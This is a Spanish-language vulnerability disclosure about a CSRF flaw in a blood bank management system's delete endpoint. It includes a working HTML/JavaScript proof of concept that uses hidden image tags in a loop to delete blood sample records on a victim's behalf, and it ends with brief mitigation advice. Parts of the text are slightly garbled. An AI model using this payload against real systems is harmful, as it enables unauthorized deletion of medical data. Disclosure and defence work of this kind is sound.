
POC de ataque CSRF en banco de sangre
/file/delete.php?bid=Se descubrió una vulnerabilidad de Cross Site Request Forgery (CSRF) en la funcionalidad de solicitud de sangre del BloodBank Management System. Esta falla ocurre al enviar una solicitud delete a esta ruta /file/delete.php?bid=, lo que permite que el parámetro seleccione un registro para eliminar en la aplicación. Sin embargo, los son dinámicos dependiendo de la adición de las muestras de sangre, por lo que, para que la solicitud tenga éxito, utilicé una etiqueta de imagen generada con JavaScript dentro de un bucle.
bidbidsLa explotación exitosa puede conllevar acciones no autorizadas, es decir, la eliminación de datos en nombre de la víctima. Además, esto podría explotarse al visitar sitios web maliciosos con el payload.
A continuación se muestra un ejemplo de un Ataque PoC de CSRF que elimina las muestras de sangre disponibles mediante el parámetro bid. Aloja el archivo en un dominio controlado por el atacante; en mi caso, estaba usando localhost:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC</title>
</head>
<body>
<h2>CSRF Proof of Concept for Deleting Blood Bank Records</h2>
<script>
// Define the target URL where the Blood Bank System is hosted
const targetUrl = "http://localhost/bloodbank/file/delete.php";
// Loop through possible bid values (0 to 20) can be increased to as much as possible :)
for (let bid = 0; bid <= 20; bid++) {
// Create an image element for each bid value to send the GET request
let img = document.createElement("img");
img.src = `${targetUrl}?bid=${bid}`;
img.style.display = "none"; // Hide the image from view
document.body.appendChild(img);
}
</script>
</body>
</html>
csrf tokens en sus solicitudes y también evite que las solicitudes GET realicen acciones que cambien el estado.